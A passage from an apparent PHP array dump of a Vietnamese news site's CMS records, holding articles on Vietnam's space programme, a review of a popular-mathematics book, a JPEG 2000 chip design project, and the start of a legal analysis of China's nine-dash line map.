Việt Nam đang rộng mở với nhiều cơ hội: kỹ sư và nghiên cứu viên tại các viện khoa học như Trung tâm Vũ trụ và Trung tâm Vệ tinh quốc gia; chuyên viên và kỹ thuật viên tại các tập đoàn viễn thông; chuyên viên trắc địa, thăm dò tại các cơ quan khí tượng, các tập đoàn khoáng sản và dầu khí; trở thành giảng viên đại học chuyên ngành thiên văn học, v.v…Sinh viên ngành vũ trụ và ứng dụng cũng có thể trở thành kỹ sư tại các công ty hàng không chuyên sản xuất thiết bị cho máy bay Boeing, Airbus hay các công ty thiết kế và chế tạo ô tô như Mercedes, BMW. Ngoài kiến thức chuyên môn vững chắc, đại học Khoa học và Công nghệ Hà Nội còn đào tạo cho những sinh viên này các kiến thức nền về quản trị, quản lý dự án khoa học, ngoại ngữ và luật pháp. </div> <div> </div> <div> <strong>Việt Nam trở lại sân chơi hàng không vũ trụ</strong></div> <div> </div> <div> Nhà nước ta đã chính thức tái khởi động chương trình nghiên cứu vũ trụ sau hơn 20 năm kể từ khi Phạm Tuân, là người châu Á đầu tiên, mang màu cờ Việt Nam lên bản đồ không gian thế giới. Ngày 14/6/2006, Thủ tướng Chính phủ phê duyệt “Chiến lược nghiên cứu và ứng dụng công nghệ vũ trụ đến năm 2020". Ngày 20/11/2006, Viện Công nghệ vũ trụ (Space Technology Institute - STI) được thành lập trực thuộc Viện Khoa học và Công nghệ Việt Nam, với mục tiêu trở thành cơ sở nghiên cứu đầu ngành về công nghệ vũ trụ của nhà nước. Cuối năm ngoái, Trung tâm Vệ tinh quốc gia Việt Nam (Vietnam National Satellite Centre - VNSC) được chính thức hoạt động, đặt tại Khu Công nghệ cao Hòa Lạc, Hà Nội. Trung tâm Vệ tinh quốc gia cũng sẽ thực hiện, tiếp nhận, quản lý, khai thác Dự án xây dựng Trung tâm Vũ trụ Việt Nam.</div> <div> </div> <div> Cách trung tâm Hà Nội 30km, trải rộng trên diện tích 9ha, Khu Nghiên cứu – Triển khai Công nghệ vũ trụ tại Khu công nghệ cao Hoà Lạc có tổng vốn 350 triệu đô-la Mỹ từ nguồn vốn vay ODA ưu đãi của Nhật Bản. Trung tâm Vũ trụ Việt Nam tại Hoà Lạc sẽ được lắp đặt các thiết bị hiện đại hàng đầu Việt Nam và khu vực, sánh tầm nhiều trung tâm vũ trụ lớn của thế giới. Cùng với việc chủ động giám sát thảm họa, quản lý tài nguyên thiên nhiên, phát triển các ngành khoa học phụ trợ, Trung tâm Vũ trụ Việt Nam sẽ là nơi thành lập Trung tâm Quan sát Trái đất và Phát triển vệ tinh, chuyển giao công nghệ và phát triển nguồn nhân lực ngành công nghệ vũ trụ, tạo đà phát triển bền vững cho Việt Nam, thúc đẩy hợp tác quốc tế giữa Việt Nam và các nước châu Á – Thái Bình Dương.</div> <div> </div> <div> Chính phủ Việt Nam đang đẩy mạnh công tác nghiên cứu và làm chủ công nghệ chế tạo vệ tinh nhỏ cỡ nhỏ (pico và mini) với dự án vệ tinh VNRedsat 1 (hợp tác với Pháp) và vệ tinh VNRedsat 2 (hợp tác với Bỉ), cùng nhiều dự án hợp tác với Cơ quan Hàng không vũ trụ Nhật Bản (JAXA). Hiện nay, tương lai nghề nghiệp ngành công nghệ vũ trụ và ứng dụng tại Việt Nam vô cùng rộng mở.</div> <div> </div> <div> ---</div> <div> </div> <div> * CLB Thiên văn nghiệp dư TP.HCM (HAAC)</div> <div> </div> <div> 1. Thông tin về chương trình học và thủ tục ứng tuyển có thể tham khảo thêm tại trang http://usth.edu.vn/vi/studycourses/mastercourses/master-of-space-and-applications/</div> <div> </div> <div> 2. Theo trang web: http://graphicsweb.wsj.com/documents/NILF1111/#term=</div> ', 'images' => '201606150911150c257c177fbfb4f676613725df7b63fa.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '55247', 'slug' => 'gan-lam-giac-mo-thien-van-viet-nam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '707', 'rght' => '708', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '408', 'name' => 'Ai và Ky ở xứ sở của những con số tàng hình*', 'code' => null, 'alias' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Tôi may mắn có trong tay bản thảo cuốn sách đã ba tháng nay, và phải làm cái công việc khó khăn là không dám “khoe” vì sợ lộ bí mật. Nay cuốn sách đã ra mắt, xin đưa lên bài viết về cảm nhận của tôi khi đọc sách. Cũng có thể xem là lời giới thiệu cuốn sách với bạn đọc.</div> <div> Một cuốn sách trình bày những kiến thức toán học dưới dạng “ngây thơ” nhất, và vì thế, bản chất nhất. Ta gặp ở đây những khái niệm đầu tiên về số, những vấn đề “cao siêu” như trường số, tính không giải được bằng căn thức của phương trình bậc 5 tổng quát, cho đến hình học phi Euclid, đường trắc địa…Một cuốn lịch sử toán học, từ sự ra đời của số vô tỷ đầu tiên đến sự xuất hiện của phương pháp tọa độ và giải tích vô cùng bé. Nhưng trước tiên, cuốn sách là một câu chuyện cổ tích tuyệt đẹp, với nắng vàng trên bãi cát, với bầu không khí trong vắt của trí tuệ và tình người, với những nghịch lý và âm mưu. Ta chợt nhận ra rằng, thế giới của những con số cũng huyền ảo, kỳ bí và lãng mạn như cuộc đời.</div> <div> </div> <div> Tác giả đưa ta vào câu chuyện cổ tích, mà ở đó cùng với Ai và Ky, ta bắt gặp những con người của nhiều thế kỷ khác nhau đang sống cùng nhau trong một thế giới chung: Toán học. Ta gặp Euclid (thế kỷ III TCN) và Thales (624-546 TCN), hai nhà phù thủy chỉ dùng cây thước và compa mà dựng nên cả “thế giới hữu tỷ”; thấy Pythagoras (570-495 TCN) nghiêm khắc trừng phạt anh học trò Hyppasus (thế kỷ V TCN) vì đã dám tạo ra số vô tỷ đầu tiên, phá vỡ cái hài hòa của thế giới hữu tỷ. Ta gặp Zeno xứ Elea (490- 430 TCN) hiện thân thành cô gái Zena với cặp mắt mê hoặc, mà khi nhìn vào đó, thời gian dường như bị chia thành những mảnh nhỏ vô cùng mà ta không thể vượt qua. Nhưng cuối cùng, Alice (lực sĩ Achilles?) đã dũng cảm vượt qua cái “nghịch lý Zeno” đó, dù biết là phải chịu trừng phạt. Để vượt qua cái việc chia cắt thời gian thành những mảnh nhỏ, Alice phải nhờ tới “chuỗi hội tụ”, nhờ tới giải tích vô cùng bé. Ông Chico hiểu điều đó, nhưng vẫn trừng trị Alice, để không làm phật ý Đức Vua, người chỉ biết dùng phép khai căn để tìm ra gốc gác từng thần dân (số) của mình. Ta nhận ra trong bóng dáng Chico hình ảnh của Cauchy (1789-1857), nhà toán học thiên tài, một trong những người đặt nền móng cho giải tích vô cùng bé, nhưng cũng là một người bảo hoàng cực đoan. Cũng vì phụng sự Đức Vua mà Chico trừng phạt chàng Elaci, người đã phát hiện ra rằng Đức Vua không thể chỉ dùng phép khai căn mà tìm được những “thần dân” là nghiệm của phương trình bậc năm. Ông Chico muốn dìm đi phát hiện đó của chàng Elaci, và Elaci đã phải quyết đấu với con rồng. Nhưng trong câu chuyện cổ này, Elaci không chết ở tuổi 21 như Evariste Galois (1811-1832) trong buổi sáng định mệnh sau trò đấu súng, mà chỉ bị đày đến “xứ p-adic”, xứ sở mới của những con số khác với số thực và phức nhưng cũng không kém phần hấp dẫn.</div> <div> </div> <div> Ai và Ky ở xứ sở của những con số tàng hình còn là cuốn sách vỡ lòng về triết học của toán học. Với cặp mắt ngây thơ của Ai, ta nhìn ra mâu thuẫn ẩn chứa trong các chứng minh phản chứng, mâu thuẫn giữa cái hữu hạn và vô hạn, của sự chứng minh được hay không một chân lý toán học. Bởi thế nên ông già Cartesius (René Descartes, 1596-1650) mới nhận ra rằng, để “tồn tại” thì chỉ “suy nghĩ” thôi là chưa đủ: “Ta đang nghi ngờ, việc của ta là nghi ngờ. Ta sợ một lúc nào đó ta không còn nghi ngờ được nữa, thì bản thân ta cũng sẽ trở nên tàng hình”. Cũng bởi vì thế mà Diogenes xứ Sinop (412 hoặc 404 – 323 TCN) mới cầm đèn đi giữa ban ngày để tìm cho ra người lương thiện.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge.jpg" style="width: 250px; height: 166px;" /></div> <div> </div> <div> “Giải quyết một bài toán cũng như ăn từng miếng nhỏ của trái táo. Làm như thế một là để thưởng thức, hai là để tránh nghẹn”, ông già Cartesius đã khuyên Ai như thế. Cuốn sách trên tay các bạn cũng cần được thưởng thức chậm rãi như thế, để có thể cảm nhận được hương vị đậm đà của nó. Và trên hết, phải có cặp mắt ngây thơ như cậu thiếu niên Ai, để nhìn ra chân lý. Bởi vì chân lý chỉ dành cho những người không bị che mắt bởi cái vụn vặt thường nhật.</div> <div> </div> <div> Lời nhắn nhủ của Elaci từ xứ sở p-adic cũng là lời nhắn cho tất cả chúng ta: “Hãy lắng nghe những người khác nói nhưng luôn suy nghĩ bằng cái đầu của mình. Cuối cùng và quan trọng nhất là đừng bao giờ để rơi mất tiếng cười hồn nhiên của Alice”.</div> <div> </div> <div> Cuốn sách giản dị, thông thái, sâu sắc, vừa dễ gần, vừa không dễ hiểu - như chính tác giả của nó vậy."</div> <div> </div> <div> Gấp sách lại, cái “cảm giác tiếc nuối trở nên mơ hồ như làn khói lam chiều. Có một tiểu hành tinh vừa băng qua mùa thu của Trái đất”. </div> <div> </div> <div> ---</div> <div> </div> <div> * Tác giả: Ngô Bảo Châu và Nguyễn Phương Văn; NXB Thế Giới và Nhã Nam ấn hành tháng 3/2012</div> ', 'images' => '20160615091008fbff3e430b33ac364ed26e294730583f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '52316', 'slug' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '705', 'rght' => '706', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '407', 'name' => 'TPHCM thiết kế thành công lõi IP nén ảnh JPEG 2000 ', 'code' => null, 'alias' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Lõi IP nén ảnh JPEG 2000 do Trung tâm Nghiên cứu và Đào tạo Thiết kế Vi mạch (ICDREC), ĐH Quốc gia TPHCM, chế tạo là nền tảng để thiết kế các chip xử lý hình ảnh, ứng dụng trên các sản phẩm thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí...</div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 thuộc đề tài "Nghiên cứu thiết kế và chế tạo thử nghiệm chip nén ảnh theo tiêu chuẩn JPEG2000 và chip ADC đa năng ứng dụng trong y tế" của chương trình KH&CN trọng điểm cấp nhà nước KC.01/11-15 do ThS. Nguyễn Minh Khánh Ngọc (ICDREC) là chủ đề tài. Ngoài ra, ICDREC còn phối hợp với Vụ Trang thiết bị và Công trình y tế (Bộ Y tế) cùng thực hiện đề tài.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/MakeThumbnail.jpg" style="width: 150px; height: 130px;" /></div> <div> <br /> Tại buổi họp báo ngày 9/7, giám đốc ICDREC, ông Ngô Đức Hoàng, cho biết, JPEG 2000 là chuẩn nén ảnh của thế giới do Joint Photographic Experts Group công bố vào năm 2000, được ứng dụng trong nhiều lĩnh vực đời sống xã hội như các thiết bị đa phương tiện (điện thoại di động, máy quay camera, máy ảnh kỹ thuật số, máy in), y tế (nén ảnh cho các thiết bị X-quang, siêu âm...), khảo sát trắc địa (ảnh chụp từ vệ tinh cần nén trước khi truyền về trái đất...), quân sự/giám sát (cung cấp hình ảnh vệ tinh HD, phát hiện chuyển động, thiết lập mạng lưới phân phối và lưu trữ hình ảnh, camera giám sát chất lượng cao…</div> <div> </div> <div> Bắt tay thực hiện đề tài từ năm 2012, ThS. Nguyễn Minh Khánh Ngọc và các cộng sự đã nghiên cứu và nắm vững kỹ thuật thiết kế hệ thống nén ảnh JPEG 2000, kỹ thuật thiết kế bộ chuyển đổi tín hiệu tương tự sang số ADC độ chính xác cao và kỹ thuật thiết kế vi mạch ở công nghệ 130 nano mét. Đây là cơ sở để các nhà nghiên cứu thiết kế và chế tạo lõi IP mềm thực hiện nén ảnh theo tiêu chuẩn JPEG 2000.</div> <div> </div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 của ICDREC cho phép nén các ảnh tĩnh có độ phân giải cao lên đến 16 triệu điểm ảnh và 16 bit độ xám với các chế độ nén tổn hao và không tổn hao trên cùng một hệ thống, đồng thời cho phép người dùng nén các loại ảnh có tối đa bốn thành phần màu cùng với các định dạng ngõ vào khác nhau như 444, 422, 420 và mức xám. Lõi IP nén ảnh JPEG 2000 còn có thể nén ảnh động với độ phân giải HD đạt tốc độ 24 fps (frame/giây).</div> <div> </div> <div> Từ sản phẩm này, đội ngũ thiết kế vi mạch của ICDREC sẽ thiết kế các chip xử lý hình ảnh, ứng dụng trong các sản phẩm đòi hỏi hình ảnh có độ phân giải ảnh lớn và độ phân giải mức xám cao thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí…</div> <div> </div> <div> Trong quá trình nghiên cứu và thiết kế sản phẩm lõi IP, ICDREC còn đào tạo được đội ngũ nhân lực thiết kế vi mạch trong lĩnh vực tín hiệu số và xử lý ảnh, thiết kế vi mạch analog cho các ứng dụng chuyển đổi tín hiệu tương tựm đồng thời góp phần hỗ trợ cho một số nghiên cứu, dự án khác về các thiết bị xử lý ảnh y sinh và các thiết bị đo trong y tế.</div> <div> </div> <div> Về ý nghĩa lâu dài của đề tài, các nhà chuyên môn cho biết, khi ứng dụng thiết bị trên các hệ thống thiết bị y tế sẽ góp phần giảm giá thành thiết bị, giải tỏa áp lực và gánh nặng cho ngành y tế; cải thiện chất lượng phúc lợi xã hội, góp phần tạo thế cân bằng trong việc cung cấp linh kiện điện tử trong nước; hạn chế sự phụ thuộc vào linh kiện nước ngoài; góp phần làm giảm giá thành sản phẩm điện tử làm ra để có thể cạnh tranh mạnh mẽ với các sản phẩm cùng loại trong và ngoài nước.</div> <div> </div> <div> Tại lễ công bố, ICDREC và công ty cổ phần Điện tử Biên Hòa (Belco) đã ký kết hợp tác cùng phát triển lõi IP nén ảnh JPEG 2000 của ICDREC thành chip xử lí để ứng dụng cho các sản phẩm mà Belco đang sản xuất.</div> ', 'images' => '201606150908575e1f128ae6bd71960aa75fdd584b9db5.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '59449', 'slug' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '703', 'rght' => '704', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc 